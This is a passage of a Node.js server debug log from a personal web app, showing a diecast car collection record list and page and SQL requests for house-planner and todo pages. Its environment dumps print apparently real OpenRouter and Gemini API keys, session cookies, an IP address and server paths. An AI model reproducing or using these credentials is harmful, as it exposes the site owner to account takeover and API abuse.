      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-05-18T06:00:41.514Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-05-18T06:00:42.472Z server-connect:router Serving templateView /house-planner
2026-05-18T06:00:42.473Z server-connect:app Executing action step identify
2026-05-18T06:00:42.473Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:42.473Z server-connect:output identity: 1
2026-05-18T06:00:42.473Z server-connect:app Executing action step restrict
2026-05-18T06:00:42.473Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T06:00:42.474Z server-connect:output restrict: undefined
2026-05-18T06:00:42.474Z server-connect:router Render template house-planner
2026-05-18T06:00:42.474Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'x-forwarded-for': '49.43.182.136',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-19T06:00:16.910Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.182.136',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'HTTP_X_FORWARDED-FOR': '49.43.182.136',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-18T06:00:43.050Z server-connect:router Serving templateView /
2026-05-18T06:00:43.050Z server-connect:app Executing action step identify
2026-05-18T06:00:43.050Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:43.050Z server-connect:output identity: 1
2026-05-18T06:00:43.050Z server-connect:app Executing action step restrict
2026-05-18T06:00:43.050Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T06:00:43.051Z server-connect:output restrict: undefined
2026-05-18T06:00:43.051Z server-connect:app Executing action step restrict
2026-05-18T06:00:43.051Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T06:00:43.051Z server-connect:output restrict: undefined
2026-05-18T06:00:43.051Z server-connect:router Render template layouts/main
2026-05-18T06:00:43.052Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'x-forwarded-for': '49.43.182.136',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-19T06:00:16.910Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.182.136',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'HTTP_X_FORWARDED-FOR': '49.43.182.136',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-05-18T06:00:44.580Z server-connect:router Serving templateView /todo
2026-05-18T06:00:44.580Z server-connect:app Executing action step identify
2026-05-18T06:00:44.580Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:44.580Z server-connect:output identity: 1
2026-05-18T06:00:44.580Z server-connect:app Executing action step restrict
2026-05-18T06:00:44.581Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-18T06:00:44.581Z server-connect:output restrict: undefined
2026-05-18T06:00:44.581Z server-connect:router Render template todo
2026-05-18T06:00:44.581Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/todo',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'x-forwarded-for': '49.43.182.136',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-19T06:00:16.910Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/todo',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.182.136',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/todo',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/todo',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'HTTP_X_FORWARDED-FOR': '49.43.182.136',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-18T06:00:44.805Z server-connect:router Serving serverConnect /api/todo/list_active
2026-05-18T06:00:44.805Z server-connect:router Serving serverConnect /api/todo/list_someday
2026-05-18T06:00:44.806Z server-connect:app Executing action step identify
2026-05-18T06:00:44.806Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:44.806Z server-connect:output identity: 1
2026-05-18T06:00:44.806Z server-connect:app Executing action step restrict
2026-05-18T06:00:44.806Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:44.806Z server-connect:app Executing action step identify
2026-05-18T06:00:44.806Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:44.807Z server-connect:output identity: 1
2026-05-18T06:00:44.807Z server-connect:app Executing action step restrict
2026-05-18T06:00:44.807Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:44.807Z server-connect:output restrict: undefined
2026-05-18T06:00:44.807Z server-connect:app Executing action step select
2026-05-18T06:00:44.807Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    table: { name: 'todos' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `todos`.*, `tr`.`repeat_type`, `tr`.`next_due_date`, `tf`.`required_amount`, `tf`.`saved_amount` from `todos` left join `todo_recurrence` as `tr` on `tr`.`todo_id` = `todos`.`id` left join `todo_financial` as `tf` on `tf`.`todo_id` = `todos`.`id` where `todos`.`section` = ? order by `todos`.`id` ASC',
    params: [],
    orders: [ [Object] ]
  }
}
2026-05-18T06:00:44.808Z server-connect:output restrict: undefined
2026-05-18T06:00:44.808Z server-connect:app Executing action step select
2026-05-18T06:00:44.808Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    table: { name: 'todos' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: "select * from `todos` where `todos`.`section` = 'someday' order by `todos`.`created_at` DESC",
    params: [],
    orders: [ [Object] ]
  }
}
2026-05-18T06:00:44.810Z server-connect:output querySomeday: [
  {
    id: 8,
    title: 'Learn Blender',
    description: '3D modeling & animation. Useful for game dev and YouTube content.',
    category: 'Personal',
